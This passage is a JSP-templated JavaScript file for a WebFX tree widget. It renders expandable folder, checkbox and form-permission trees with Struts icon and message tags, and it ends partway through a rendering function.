<%@ page language="java" %>
<%@ page contentType="application/x-javascript;charset=UTF-8" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>

var webFXTreeConfig = {
  rootIcon        : '<html:img src='IconTreeRoot.gif'  align='absmiddle' pathOnly="true"/>',
  openRootIcon    : '<html:img src='IconTreeRoot.gif'  align='absmiddle' pathOnly="true"/>',
  folderIcon      : '<html:img src='IconTreeFolderClosed.gif'  align='absmiddle' pathOnly="true"/>',
  openFolderIcon  : '<html:img src='IconTreeFolderOpened.gif'  align='absmiddle' pathOnly="true"/>',
  fileIcon        : '<html:img src='IconTreeFile.gif'  align='absmiddle' pathOnly="true"/>',
  iIcon           : '<html:img src='IconTreeI.gif'  align='absmiddle' pathOnly="true"/>',
  lIcon           : '<html:img src='IconTreeL.gif'  align='absmiddle' pathOnly="true"/>',
  lMinusIcon      : '<html:img src='IconTreeLMinus.gif'  align='absmiddle' pathOnly="true"/>',
  lPlusIcon       : '<html:img src='IconTreeLPlus.gif'  align='absmiddle' pathOnly="true"/>',
  tIcon           : '<html:img src='IconTreeT.gif'  align='absmiddle' pathOnly="true"/>',
  tMinusIcon      : '<html:img src='IconTreeTMinus.gif'  align='absmiddle' pathOnly="true"/>',
  tPlusIcon       : '<html:img src='IconTreeTPlus.gif'  align='absmiddle' pathOnly="true"/>',
  blankIcon       : '<html:img src='IconTreeBlank.gif'  align='absmiddle' pathOnly="true"/>',
  defaultText     : 'Tree Item',
  defaultAction   : 'javascript:void(0);',
  defaultBehavior : 'classic',
  usePersistence  : true,
  isMenueTree     : false,
  isCheckBoxTree  : false,
  isFormBindingTree:false
};

var webFXTreeHandler = {
  currentID : "",
  idCounter : 0,
  idPrefix  : "webfx-tree-object-",
  all       : {},
  behavior  : null,
  selected  : null,
  onSelect  : null, /* should be part of tree, not handler */
  getId     : function() { return this.idPrefix + this.idCounter++; },
  toggle    : function (oItem) { this.all[oItem.id.replace('-plus','')].toggle(); },
  select    : function (oItem) { this.all[oItem.id.replace('-icon','')].select(); },
  focus     : function (oItem) { this.all[oItem.id.replace('-anchor','')].focus(); },
  blur      : function (oItem) { this.all[oItem.id.replace('-anchor','')].blur(); },
  keydown   : function (oItem, e) { return this.all[oItem.id].keydown(e.keyCode); },
  cookies   : new WebFXCookie(),
  insertHTMLBeforeEnd : function (oElement, sHTML) {
    if (oElement.insertAdjacentHTML != null) {
      oElement.insertAdjacentHTML("BeforeEnd", sHTML)
      return;
    }
    var df; // DocumentFragment
    var r = oElement.ownerDocument.createRange();
    r.selectNodeContents(oElement);
    r.collapse(false);
    df = r.createContextualFragment(sHTML);
    oElement.appendChild(df);
  }
};

/*
 * WebFXCookie class
 */

function WebFXCookie() {
  if (document.cookie.length) { this.cookies = ' ' + document.cookie; }
}

WebFXCookie.prototype.setCookie = function (key, value) {
  document.cookie = key + "=" + escape(value);
}

WebFXCookie.prototype.getCookie = function (key) {
  if (this.cookies) {
    var start = this.cookies.indexOf(' ' + key + '=');
    if (start == -1) { return null; }
    var end = this.cookies.indexOf(";", start);
    if (end == -1) { end = this.cookies.length; }
    end -= start;
    var cookie = this.cookies.substr(start,end);
    return unescape(cookie.substr(cookie.indexOf('=') + 1, cookie.length - cookie.indexOf('=') + 1));
  }
  else { return null; }
}

/*
 * WebFXTreeAbstractNode class
 */

function WebFXTreeAbstractNode(sText, sAction) {
  this.childNodes  = [];
  this.id     = webFXTreeHandler.getId();
  this.text   = sText || webFXTreeConfig.defaultText;
  this.action = sAction || webFXTreeConfig.defaultAction;
  this._last  = false;
  webFXTreeHandler.all[this.id] = this;
}

/*
 * To speed thing up if you're adding multiple nodes at once (after load)
 * use the bNoIdent parameter to prevent automatic re-indentation and call
 * the obj.ident() method manually once all nodes has been added.
 */

WebFXTreeAbstractNode.prototype.add = function (node, bNoIdent) {
  node.parentNode = this;
  //alert(this.folderObjIcon);
  this.childNodes[this.childNodes.length] = node;
  var root = this;
  if (this.childNodes.length >= 2) {
    this.childNodes[this.childNodes.length - 2]._last = false;
  }
  while (root.parentNode) { root = root.parentNode; }
  if (root.rendered) {
    if (this.childNodes.length >= 2) {
      document.getElementById(this.childNodes[this.childNodes.length - 2].id + '-plus').src = ((this.childNodes[this.childNodes.length -2].folder)?((this.childNodes[this.childNodes.length -2].open)?webFXTreeConfig.tMinusIcon:webFXTreeConfig.tPlusIcon):webFXTreeConfig.tIcon);
      this.childNodes[this.childNodes.length - 2].plusIcon = webFXTreeConfig.tPlusIcon;
      this.childNodes[this.childNodes.length - 2].minusIcon = webFXTreeConfig.tMinusIcon;
      this.childNodes[this.childNodes.length - 2]._last = false;
    }
    this._last = true;
    var foo = this;
    while (foo.parentNode) {
      for (var i = 0; i < foo.parentNode.childNodes.length; i++) {
        if (foo.id == foo.parentNode.childNodes[i].id) { break; }
      }
      if (i == foo.parentNode.childNodes.length - 1) { foo.parentNode._last = true; }
      else { foo.parentNode._last = false; }
      foo = foo.parentNode;
    }
    webFXTreeHandler.insertHTMLBeforeEnd(document.getElementById(this.id + '-cont'), node.toString());
    if ((!this.folder) && (!this.openIcon)) {
      this.icon = webFXTreeConfig.folderIcon;
      this.openIcon = webFXTreeConfig.openFolderIcon;
    }
    if (!this.folder) { this.folder = true; this.collapse(true); }
    if (!bNoIdent) { this.indent(); }
  }
  return node;
}

WebFXTreeAbstractNode.prototype.toggle = function() {
  if (this.folder) {
    if (this.open) { this.collapse(); }
    else { this.expand(); }
} }

WebFXTreeAbstractNode.prototype.select = function() {
  document.getElementById(this.id + '-anchor').focus();
}

WebFXTreeAbstractNode.prototype.deSelect = function() {
  document.getElementById(this.id + '-anchor').className = '';
  webFXTreeHandler.selected = null;
}

WebFXTreeAbstractNode.prototype.focus = function() {
  if ((webFXTreeHandler.selected) && (webFXTreeHandler.selected != this)) { webFXTreeHandler.selected.deSelect(); }
  webFXTreeHandler.selected = this;
  if ((this.openIcon) && (webFXTreeHandler.behavior != 'classic')) { document.getElementById(this.id + '-icon').src = this.openIcon; }
  document.getElementById(this.id + '-anchor').className = 'selected';
  document.getElementById(this.id + '-anchor').focus();
  if (webFXTreeHandler.onSelect) { webFXTreeHandler.onSelect(this); }
}

WebFXTreeAbstractNode.prototype.blur = function() {
  if ((this.openIcon) && (webFXTreeHandler.behavior != 'classic')) { document.getElementById(this.id + '-icon').src = this.icon; }
  document.getElementById(this.id + '-anchor').className = 'selected-inactive';
}

WebFXTreeAbstractNode.prototype.doExpand = function() {
  if (webFXTreeHandler.behavior == 'classic') { document.getElementById(this.id + '-icon').src = this.openIcon; }
  if (this.childNodes.length) {  document.getElementById(this.id + '-cont').style.display = 'block'; }
  this.open = true;
  if (webFXTreeConfig.usePersistence) {
    webFXTreeHandler.cookies.setCookie(this.id.substr(18,this.id.length - 18), '1');
} }

WebFXTreeAbstractNode.prototype.doCollapse = function() {
  if (webFXTreeHandler.behavior == 'classic') { document.getElementById(this.id + '-icon').src = this.icon; }
  if (this.childNodes.length) { document.getElementById(this.id + '-cont').style.display = 'none'; }
  this.open = false;
  if (webFXTreeConfig.usePersistence) {
    webFXTreeHandler.cookies.setCookie(this.id.substr(18,this.id.length - 18), '0');
} }

WebFXTreeAbstractNode.prototype.expandAll = function() {
  this.expandChildren();
  if ((this.folder) && (!this.open)) { this.expand(); }
}

WebFXTreeAbstractNode.prototype.expandChildren = function() {
  for (var i = 0; i < this.childNodes.length; i++) {
    this.childNodes[i].expandAll();
} }

WebFXTreeAbstractNode.prototype.collapseAll = function() {
  this.collapseChildren();
  if ((this.folder) && (this.open)) { this.collapse(true); }
}

WebFXTreeAbstractNode.prototype.collapseChildren = function() {
  for (var i = 0; i < this.childNodes.length; i++) {
    this.childNodes[i].collapseAll();
} }

WebFXTreeAbstractNode.prototype.indent = function(lvl, del, last, level, nodesLeft) {
  /*
   * Since we only want to modify items one level below ourself,
   * and since the rightmost indentation position is occupied by
   * the plus icon we set this to -2
   */
  if (lvl == null) { lvl = -2; }
  var state = 0;
  for (var i = this.childNodes.length - 1; i >= 0 ; i--) {
    state = this.childNodes[i].indent(lvl + 1, del, last, level);
    if (state) { return; }
  }
  if (del) {
    if ((level >= this._level) && (document.getElementById(this.id + '-plus'))) {
      if (this.folder) {
        document.getElementById(this.id + '-plus').src = (this.open)?webFXTreeConfig.lMinusIcon:webFXTreeConfig.lPlusIcon;
        this.plusIcon = webFXTreeConfig.lPlusIcon;
        this.minusIcon = webFXTreeConfig.lMinusIcon;
      }
      else if (nodesLeft) { document.getElementById(this.id + '-plus').src = webFXTreeConfig.lIcon; }
      return 1;
  } }
  var foo = document.getElementById(this.id + '-indent-' + lvl);
  if (foo) {
    if ((foo._last) || ((del) && (last))) { foo.src =  webFXTreeConfig.blankIcon; }
    else { foo.src =  webFXTreeConfig.iIcon; }
  }
  return 0;
}

WebFXTreeAbstractNode.prototype.findNodeWithId = function(id){
  if(this.id==id){
    return this;
  }else{
    return this.findNodeFromChildWithId(id);
  }
}

WebFXTreeAbstractNode.prototype.findNodeFromChildWithId = function(id){
  for (var i = 0; i < this.childNodes.length; i++) {
    var child = this.childNodes[i];
    var result=child.findNodeWithId(id);
    if(result!=null){
      return result;
    }
  }
  return null;
}

/*
 * WebFXTree class
 */

function WebFXTree(sText, sAction, sRealID, sBehavior, sIcon, sOpenIcon, hiddenObjName, hiddenObjValue) {
  this.base = WebFXTreeAbstractNode;
  this.base(sText, sAction);
  this.icon      = sIcon || webFXTreeConfig.rootIcon;
  this.openIcon  = sOpenIcon || webFXTreeConfig.openRootIcon;
  /* Defaults to open */
  if (webFXTreeConfig.usePersistence) {
    this.open  = (webFXTreeHandler.cookies.getCookie(this.id.substr(18,this.id.length - 18)) == '0')?false:true;
  } else { this.open  = true; }
  this.folder    = true;
  this.rendered  = false;
  this.onSelect  = null;
  this.realID = sRealID;
  if (!webFXTreeHandler.behavior) {  webFXTreeHandler.behavior = sBehavior || webFXTreeConfig.defaultBehavior; }
  
  //for menue tree.
  this.hiddenObjName = hiddenObjName;
  this.hiddenObjValue = hiddenObjValue;
}

WebFXTree.prototype = new WebFXTreeAbstractNode;

WebFXTree.prototype.setBehavior = function (sBehavior) {
  webFXTreeHandler.behavior =  sBehavior;
};

WebFXTree.prototype.getBehavior = function (sBehavior) {
  return webFXTreeHandler.behavior;
};

WebFXTree.prototype.getSelected = function() {
  if (webFXTreeHandler.selected) { return webFXTreeHandler.selected; }
  else { return null; }
}

WebFXTree.prototype.remove = function() { }

WebFXTree.prototype.expand = function() {
  this.doExpand();
}

WebFXTree.prototype.collapse = function(b) {
  if (!b) { this.focus(); }
  this.doCollapse();
}

WebFXTree.prototype.getFirst = function() {
  return null;
}

WebFXTree.prototype.getLast = function() {
  return null;
}

WebFXTree.prototype.getNextSibling = function() {
  return null;
}

WebFXTree.prototype.getPreviousSibling = function() {
  return null;
}

WebFXTree.prototype.keydown = function(key) {
  if (key == 39) {
    if (!this.open) { this.expand(); }
    else if (this.childNodes.length) { this.childNodes[0].select(); }
    return false;
  }
  if (key == 37) { this.collapse(); return false; }
  if ((key == 40) && (this.open) && (this.childNodes.length)) { this.childNodes[0].select(); return false; }
  return true;
}

WebFXTree.prototype.getFullPathString = function(sep) {
  var separator = "\\";
  var tmpNode = this.getSelected();
  var targetLoc = "";

  if (sep) {
    separator = sep;
  }

  while (tmpNode) {
    targetLoc = tmpNode.text + separator + targetLoc;
    tmpNode = tmpNode.parentNode;
  }

  return(targetLoc);
}

WebFXTree.prototype.toString = function() {
  if(webFXTreeConfig.isFormBingdingTree){
  var str = "<div id=\"" + this.id + "\" style=\"display:none;\">" +
    "<img id=\"" + this.id + "-icon\" class=\"webfx-tree-icon\" src=\"" + ((this.realID == webFXTreeHandler.currentID || (webFXTreeHandler.behavior == 'classic' && this.open))?this.openIcon:this.icon) + "\" onclick=\"webFXTreeHandler.select(this);\">" +
    "<a href=\"" + this.action + "\" id=\"" + this.id + "-anchor\" onfocus=\"webFXTreeHandler.focus(this);\" onblur=\"webFXTreeHandler.blur(this);\"" +
    (this.target ? " target=\"" + this.target + "\"" : "") +
    (this.realID == webFXTreeHandler.currentID ? "class=\"nodeSel\" " : " class=\"node\" ") + ">" + this.text + "</a></div>" +
    "<div id=\"" + this.id + "-cont\" class=\"dTreeNode\" style=\"display: " + ((this.open)?'block':'none') + ";\">";
  var sb = [];
  for (var i = 0; i < this.childNodes.length; i++) {
    sb[i] = this.childNodes[i].toString(i, this.childNodes.length);
  }
  this.rendered = true;
  return str + sb.join("") + "</div>";
  }else{
  var str = "<div id=\"" + this.id + "\" ondblclick=\"webFXTreeHandler.toggle(this);\" class=\"dTreeNode\" onkeydown=\"return webFXTreeHandler.keydown(this, event)\">" +
    "<img id=\"" + this.id + "-icon\" class=\"webfx-tree-icon\" src=\"" + ((this.realID == webFXTreeHandler.currentID || (webFXTreeHandler.behavior == 'classic' && this.open))?this.openIcon:this.icon) + "\" onclick=\"webFXTreeHandler.select(this);\">" +
    "<a href=\"" + this.action + "\" id=\"" + this.id + "-anchor\" onfocus=\"webFXTreeHandler.focus(this);\" onblur=\"webFXTreeHandler.blur(this);\"" +
    (this.target ? " target=\"" + this.target + "\"" : "") +
    (this.realID == webFXTreeHandler.currentID ? "class=\"nodeSel\" " : " class=\"node\" ") + ">" + this.text + "</a></div>" +
    "<div id=\"" + this.id + "-cont\" class=\"dTreeNode\" style=\"display: " + ((this.open)?'block':'none') + ";\">";
  var sb = [];
  for (var i = 0; i < this.childNodes.length; i++) {
    sb[i] = this.childNodes[i].toString(i, this.childNodes.length);
  }
  this.rendered = true;
  return str + sb.join("") + "</div>";
  }
};

/*
 * WebFXTreeItem class
 */

function WebFXTreeItem(sText, sAction, sRealID, eParent, sIcon, sOpenIcon, hiddenObjName, hiddenObjValue, sObjIconName,selectBox) { // Changed for default node selection.
  this.base = WebFXTreeAbstractNode;
  this.base(sText, sAction);
  /* Defaults to close */
  if (webFXTreeConfig.usePersistence) {
    this.open = (webFXTreeHandler.cookies.getCookie(this.id.substr(18,this.id.length - 18)) == '1')?true:false;
  } else { this.open = false; }
  if (sIcon) { this.icon = sIcon; }
  if (sOpenIcon) { this.openIcon = sOpenIcon; }
  if (eParent) { eParent.add(this); }
  if (sRealID) { this.realID = sRealID; } // Added for default node selection.
  if (hiddenObjName) {this.hiddenObjName = hiddenObjName; } // for menue tree.
  if (hiddenObjValue) {this.hiddenObjValue = hiddenObjValue; } // for menue tree.
  if (sObjIconName) {
    this.folderObjIcon="<html:img src='" + sObjIconName + "'  align='absmiddle' pathOnly="true"/>";
    //this.openFolderIcon="<html:img src='" + sObjIconName + "'  align='absmiddle' pathOnly="true"/>";
  }
  if(selectBox){
    this.selectBox=selectBox;
  }
  
}

WebFXTreeItem.prototype = new WebFXTreeAbstractNode;

WebFXTreeItem.prototype.remove = function() {
  var iconSrc = document.getElementById(this.id + '-plus').src;
  var parentNode = this.parentNode;
  var prevSibling = this.getPreviousSibling(true);
  var nextSibling = this.getNextSibling(true);
  var folder = this.parentNode.folder;
  var last = ((nextSibling) && (nextSibling.parentNode) && (nextSibling.parentNode.id == parentNode.id))?false:true;
  this.getPreviousSibling().focus();
  this._remove();
  if (parentNode.childNodes.length == 0) {
    document.getElementById(parentNode.id + '-cont').style.display = 'none';
    parentNode.doCollapse();
    parentNode.folder = false;
    parentNode.open = false;
  }
  if (!nextSibling || last) { parentNode.indent(null, true, last, this._level, parentNode.childNodes.length); }
  if ((prevSibling == parentNode) && !(parentNode.childNodes.length)) {
    prevSibling.folder = false;
    prevSibling.open = false;
    iconSrc = document.getElementById(prevSibling.id + '-plus').src;
    iconSrc = iconSrc.replace('minus', '').replace('plus', '');
    document.getElementById(prevSibling.id + '-plus').src = iconSrc;
    document.getElementById(prevSibling.id + '-icon').src = webFXTreeConfig.fileIcon;
  }
  if (document.getElementById(prevSibling.id + '-plus')) {
    if (parentNode == prevSibling.parentNode) {
      iconSrc = iconSrc.replace('minus', '').replace('plus', '');
      document.getElementById(prevSibling.id + '-plus').src = iconSrc;
} } }

WebFXTreeItem.prototype._remove = function() {
  for (var i = this.childNodes.length - 1; i >= 0; i--) {
    this.childNodes[i]._remove();
  }
  for (var i = 0; i < this.parentNode.childNodes.length; i++) {
    if (this == this.parentNode.childNodes[i]) {
      for (var j = i; j < this.parentNode.childNodes.length; j++) {
        this.parentNode.childNodes[j] = this.parentNode.childNodes[j+1];
      }
      this.parentNode.childNodes.length -= 1;
      if (i + 1 == this.parentNode.childNodes.length) { this.parentNode._last = true; }
      break;
  } }
  webFXTreeHandler.all[this.id] = null;
  var tmp = document.getElementById(this.id);
  if (tmp) { tmp.parentNode.removeChild(tmp); }
  tmp = document.getElementById(this.id + '-cont');
  if (tmp) { tmp.parentNode.removeChild(tmp); }
}

WebFXTreeItem.prototype.expand = function() {
  this.doExpand();
  document.getElementById(this.id + '-plus').src = this.minusIcon;
}

WebFXTreeItem.prototype.collapse = function(b) {
  if (!b) { this.focus(); }
  this.doCollapse();
  document.getElementById(this.id + '-plus').src = this.plusIcon;
}

WebFXTreeItem.prototype.getFirst = function() {
  return this.childNodes[0];
}

WebFXTreeItem.prototype.getLast = function() {
  if (this.childNodes[this.childNodes.length - 1].open) { return this.childNodes[this.childNodes.length - 1].getLast(); }
  else { return this.childNodes[this.childNodes.length - 1]; }
}

WebFXTreeItem.prototype.getNextSibling = function() {
  for (var i = 0; i < this.parentNode.childNodes.length; i++) {
    if (this == this.parentNode.childNodes[i]) { break; }
  }
  if (++i == this.parentNode.childNodes.length) { return this.parentNode.getNextSibling(); }
  else { return this.parentNode.childNodes[i]; }
}

WebFXTreeItem.prototype.getPreviousSibling = function(b) {
  for (var i = 0; i < this.parentNode.childNodes.length; i++) {
    if (this == this.parentNode.childNodes[i]) { break; }
  }
  if (i == 0) { return this.parentNode; }
  else {
    if ((this.parentNode.childNodes[--i].open) || (b && this.parentNode.childNodes[i].folder)) { return this.parentNode.childNodes[i].getLast(); }
    else { return this.parentNode.childNodes[i]; }
} }

WebFXTreeItem.prototype.keydown = function(key) {
  if ((key == 39) && (this.folder)) {
    if (!this.open) { this.expand(); }
    else { this.getFirst().select(); }
    return false;
  }
  else if (key == 37) {
    if (this.open) { this.collapse(); }
    else { this.parentNode.select(); }
    return false;
  }
  else if (key == 40) {
    if (this.open) { this.getFirst().select(); }
    else {
      var sib = this.getNextSibling();
      if (sib) { sib.select(); }
    }
    return false;
  }
  else if (key == 38) { this.getPreviousSibling().select(); return false; }
  return true;
}

WebFXTreeItem.prototype.toString = function (nItem, nItemCount) {
//alert(this.folderObjIcon);
  var foo = this.parentNode;
  var indent = '';
  var permission = '';
  if (nItem + 1 == nItemCount) { this.parentNode._last = true; }
  var i = 0;
  while (foo.parentNode) {
    foo = foo.parentNode;
    indent = "<img id=\"" + this.id + "-indent-" + i + "\" src=\"" + ((foo._last)?webFXTreeConfig.blankIcon:webFXTreeConfig.iIcon) + "\">" + indent;
    i++;
  }
  this._level = i;
  if (this.childNodes.length) { this.folder = 1; }
  else { this.open = false; }
  if ((this.folder) || (webFXTreeHandler.behavior != 'classic')) {
    if (!this.icon) { this.icon = webFXTreeConfig.folderIcon; }
    if (!this.openIcon) { this.openIcon = webFXTreeConfig.openFolderIcon; }
  }
  else if (!this.icon) { this.icon = webFXTreeConfig.fileIcon; }
  //for muem icon;
  if (this.folderObjIcon) {
   this.icon = this.folderObjIcon;
   this.openIcon = this.folderObjIcon;
  }
  var label = this.text.replace(/</g, '&lt;').replace(/>/g, '&gt;');
  
  var str = "" ;
  // for menue tree 
  if(webFXTreeConfig.isMenueTree){
  //init icon
  
  if("R" == this.hiddenObjValue){    
    permission = '[<bean:message key='common.permission.label_SH'/>]';
    if ("F" == this.realID.substring(0,1)) {
      this.icon='<html:img src='IconFormRecordRead.gif'  align='absmiddle' pathOnly="true"/>';
    } else if ("P" == this.realID.substring(0,1)) {
      this.icon='<html:img src='IconFormPageRead.gif'  align='absmiddle' pathOnly="true"/>';
    } else if ("S" == this.realID.substring(0,1)) {
     this.icon='<html:img src='IconFormSectionRead.gif'  align='absmiddle' pathOnly="true"/>';
    } else if ("E" == this.realID.substring(0,1)) {
      permission = '[<bean:message key='common.permission.label_R'/>]';
      this.icon='<html:img src='IconFormElementsRead.gif'  align='absmiddle' pathOnly="true"/>';
    } 
  } else if ("C" == this.hiddenObjValue){  
    permission = '[<bean:message key='common.permission.label_E'/>]'; 
    if ("F" == this.realID.substring(0,1)) {
      this.icon='<html:img src='IconFormRecordChange.gif'  align='absmiddle' pathOnly="true"/>';
    } else if ("P" == this.realID.substring(0,1)) {
      this.icon='<html:img src='IconFormPageChange.gif'  align='absmiddle' pathOnly="true"/>';
    } else if ("S" == this.realID.substring(0,1)) {
      this.icon='<html:img src='IconFormSectionChange.gif'  align='absmiddle' pathOnly="true"/>';
    } else if ("E" == this.realID.substring(0,1)) {
      this.icon='<html:img src='IconFormElementsChange.gif'  align='absmiddle' pathOnly="true"/>';
    }
  } else if ("M" == this.hiddenObjValue){  
    permission = '[<bean:message key='common.label.mandatory'/>]'; 
    if ("F" == this.realID.substring(0,1)) {
      this.icon='<html:img src='IconFormRecordMandatory.gif'  align='absmiddle' pathOnly="true"/>';
    } else if ("P" == this.realID.substring(0,1)) {
      this.icon='<html:img src='IconFormPageMandatory.gif'  align='absmiddle' pathOnly="true"/>';
    } else if ("S" == this.realID.substring(0,1)) {
      this.icon='<html:img src='IconFormSectionMandatory.gif'  align='absmiddle' pathOnly="true"/>';
    } else if ("E" == this.realID.substring(0,1)) {
      this.icon='<html:img src='IconFormElementsMandatory.gif'  align='absmiddle' pathOnly="true"/>';
    }
  } else if ("H" == this.hiddenObjValue){ 
    permission = '[<bean:message key='calendar.label.hide'/>]';
    if ("F" == this.realID.substring(0,1)) {
      this.icon='<html:img src='IconFormRecord.gif'  align='absmiddle' pathOnly="true"/>';
    } else if ("P" == this.realID.substring(0,1)) {
      this.icon='<html:img src='IconFormPage.gif'  align='absmiddle' pathOnly="true"/>';
    } else if ("S" == this.realID.substring(0,1)) {
      this.icon='<html:img src='IconFormSection.gif'  align='absmiddle' pathOnly="true"/>';
    } else if ("E" == this.realID.substring(0,1)) {
      this.icon='<html:img src='IconFormElements.gif'  align='absmiddle' pathOnly="true"/>';
    }
  } else if ("I" == this.hiddenObjValue || this.hiddenObjValue == undefined || "" == this.hiddenObjValue){ 
     if("F" == this.realID.substring(0,1)) {
       permission = '[<bean:message key='common.permission.label_E'/>]';
       this.icon='<html:img src='IconFormRecordChange.gif'  align='absmiddle' pathOnly="true"/>';
     } 
     else {
       permission = '[<bean:message key='common.permission.label_U'/>]'; 
       if ("P" == this.realID.substring(0,1)) {
         this.icon='<html:img src='IconFormElementsInherit.gif'  align='absmiddle' pathOnly="true"/>';
       } else if ("S" == this.realID.substring(0,1)) {
         this.icon='<html:img src='IconFormElementsInherit.gif'  align='absmiddle' pathOnly="true"/>';
       } else if ("E" == this.realID.substring(0,1)) {
         this.icon='<html:img src='IconFormElementsInherit.gif'  align='absmiddle' pathOnly="true"/>';
       }
     }
   }
    str = "<div id=\"" + this.id + "\" ondblclick=\"webFXTreeHandler.toggle(this);\" class=\"webfx-tree-item\" onkeydown=\"return webFXTreeHandler.keydown(this, event)\">" +
    indent +
    "<img id=\"" + this.id + "-plus\" src=\"" + ((this.folder)?((this.open)?((this.parentNode._last)?webFXTreeConfig.lMinusIcon:webFXTreeConfig.tMinusIcon):((this.parentNode._last)?webFXTreeConfig.lPlusIcon:webFXTreeConfig.tPlusIcon)):((this.parentNode._last)?webFXTreeConfig.lIcon:webFXTreeConfig.tIcon)) + "\" onclick=\"webFXTreeHandler.toggle(this);\">" +
    "<img id=\"" + this.id + "-icon\" class=\"webfx-tree-icon\" src=\"" + this.icon + "\" onclick=\"webFXTreeHandler.select(this);\">" ; 
    str += "<input type=\'hidden\' name=\'" + this.hiddenObjName + "\' value=\'" + this.realID + "\'>";
    str += "<input type=\'hidden\' id=\'" + this.realID +  "-aft\' name=\'" + this.realID + "-aft\' value=\'" + this.id  + "\'>";
    if (this.hiddenObjValue) {
      str += "<input type=\'hidden\' name=\'" + this.realID + "' value=\'" + this.hiddenObjValue  + "\'>";
    } else {
      str += "<input type=\'hidden\' name=\'" + this.realID + "' value=\'\'>";
    }
    str += " <a class=\"node\" href=\"javascript://\" onClick=\"" + this.action + "\"" + (this.realID == webFXTreeHandler.currentID && this.icon == webFXTreeConfig.folderIcon ? "style='background-color:#FF9900;color:#FFFFFF' " : "") + " id=\"" + this.id + "-anchor\" onblur=\"webFXTreeHandler.blur(this);\"" +
           (this.target ? " target=\"" + this.target + "\"" : "") +
           ">";
    str += label + "</a> <input type=\'text\' id=\"" + this.id + "Permission\" name=\"" + this.id + "Permission\" class=\'showDiv\' readOnly size=\'9\' length=\'9\' value=\'" + permission + "\'></div>";
           
  // have a checkbox tree
  } else if (webFXTreeConfig.isCheckBoxTree){
    str = "<div id=\"" + this.id + "\" ondblclick=\"webFXTreeHandler.toggle(this);\" class=\"webfx-tree-item\" onkeydown=\"return webFXTreeHandler.keydown(this, event)\">" +
    indent +
    "<img id=\"" + this.id + "-plus\" src=\"" + ((this.folder)?((this.open)?((this.parentNode._last)?webFXTreeConfig.lMinusIcon:webFXTreeConfig.tMinusIcon):((this.parentNode._last)?webFXTreeConfig.lPlusIcon:webFXTreeConfig.tPlusIcon)):((this.parentNode._last)?webFXTreeConfig.lIcon:webFXTreeConfig.tIcon)) + "\" onclick=\"webFXTreeHandler.toggle(this);\">" +
    "<img id=\"" + this.id + "-icon\" class=\"webfx-tree-icon\" src=\"" + ((this.realID == webFXTreeHandler.currentID || (webFXTreeHandler.behavior == 'classic' && this.open))?this.openIcon:this.icon) + "\" onclick=\"webFXTreeHandler.select(this);\">" ;
    str += "<input type=\'checkbox\' name=\'" + this.realID + "\' onclick= onClickCheckBox(\'" + this.realID + "\')  value=\'" + this.realID + "\'>";
    str += " <a href=\"" + this.action + "\"" + (this.realID == webFXTreeHandler.currentID && this.icon == webFXTreeConfig.folderIcon ? "style='background-color:#FF9900;color:#FFFFFF' " : "") + " id=\"" + this.id + "-anchor\" onfocus=\"webFXTreeHandler.focus(this);\" onblur=\"webFXTreeHandler.blur(this);\"" +
           (this.target ? " target=\"" + this.target + "\"" : "") +
           ">";
    str += label + "</a></div>";
           
  // for general tree        
  } else if(webFXTreeConfig.isFormBingdingTree){
    var itemClass = "webfx-tree-item-ele";
    var isForm = false;
    var isPage = false;
    var isSection = false;
    var isElement = false;
    var statusClass = "node";
    var selectStatus= "";
    var buttonClass="but-colheader";
    
    if("F"==this.realID.substring(0,1)){
      itemClass="webfx-tree-item-form";
      isForm = true;
    }else if("P"==this.realID.substring(0,1)){
      itemClass="webfx-tree-item-page";
      isPage = true;
    }else if("S"==this.realID.substring(0,1)){
      itemClass="webfx-tree-item-section";
      isSection = true;
    }else{
      isElement = true;
    }
    
      if ("M" == this.hiddenObjValue){
       if(isElement){
          this.icon='<html:img src='IconEdit.gif'  align='absmiddle' pathOnly="true"/>';
        }
        statusClass='mandatory';
      }else if("C" == this.hiddenObjValue){
       if(isElement){
          this.icon='<html:img src='IconEdit.gif'  align='absmiddle' pathOnly="true"/>';
        }
        statusClass='edit';
      }else if("R" == this.hiddenObjValue){
       if(isElement){
          this.icon='<html:img src='LayoutSpacer.gif'  align='absmiddle' pathOnly="true"/>';
          }
        statusClass='read';
      }else if("H" == this.hiddenObjValue){
       if(isElement){
          this.icon='<html:img src='LayoutSpacer.gif'  align='absmiddle' pathOnly="true"/>';
          }
        statusClass='hide';
      }
   
    if("H"==this.parentNode.hiddenObjValue){
       statusClass='hide';
       selectStatus='disabled=\'true\'';
       buttonClass='but-colheader-disabled';
       
    }
    str = "<div id=\"" + this.id + "\" ondblclick=\"webFXTreeHandler.toggle(this);\" class=\""+itemClass+"\"  onkeydown=\"return webFXTreeHandler.keydown(this, event)\">" +
    "<div style=\"float:left\">";
    if(!isElement){
      str += "<img id=\"" + this.id + "-plus\" src=\"" + ((this.folder)?((this.open)?((this.parentNode._last)?webFXTreeConfig.lMinusIcon:webFXTreeConfig.tMinusIcon):((this.parentNode._last)?webFXTreeConfig.lPlusIcon:webFXTreeConfig.tPlusIcon)):((this.parentNode._last)?webFXTreeConfig.lIcon:webFXTreeConfig.tIcon)) + "\" onclick=\"webFXTreeHandler.toggle(this);\">";
    }
    str += "<img id=\"" + this.id + "-icon\" class=\"webfx-tree-icon\" src=\"" + this.icon + "\" onclick=\"webFXTreeHandler.select(this);\">" ; 
    str += "<input type=\'hidden\' name=\'" + this.hiddenObjName + "\' value=\'" + this.realID + "\'>";
    str += "<input type=\'hidden\' id=\'" + this.realID +  "-aft\' name=\'" + this.realID + "-aft\' value=\'" + this.id  + "\'>";
    if (this.hiddenObjValue) {
      str += "<input type=\'hidden\' name=\'" + this.realID + "' value=\'" + this.hiddenObjValue  + "\'>";
    } else {
      str += "<input type=\'hidden\' name=\'" + this.realID + "' value=\'\'>";
    }
    str +="<input type=\"hidden\" id=\""+this.id+"-realID\" value=\""+this.realID+"\">";
    str += " <a class=\""+statusClass+"\"  onClick=\"return false;\"" + (this.realID == webFXTreeHandler.currentID && this.icon == webFXTreeConfig.folderIcon ? "style='background-color:#FF9900;color:#FFFFFF' " : "") + " id=\"" + this.id + "-anchor\" onblur=\"webFXTreeHandler.blur(this);\"" +
           (this.target ? " target=\"" + this.target + "\"" : "") +
           ">";
    str += label+"</a>"; 
    str += "<input type=\'text\' id=\"" + this.id + "Permission\" name=\"" + this.id + "Permission\" class=\'showDiv\' readOnly size=\'9\' length=\'9\' value=\'" + permission + "\'>";
    str += "</div><div style=\"width:300px;float:right;clear:right;padding-right:30px;\">";
    
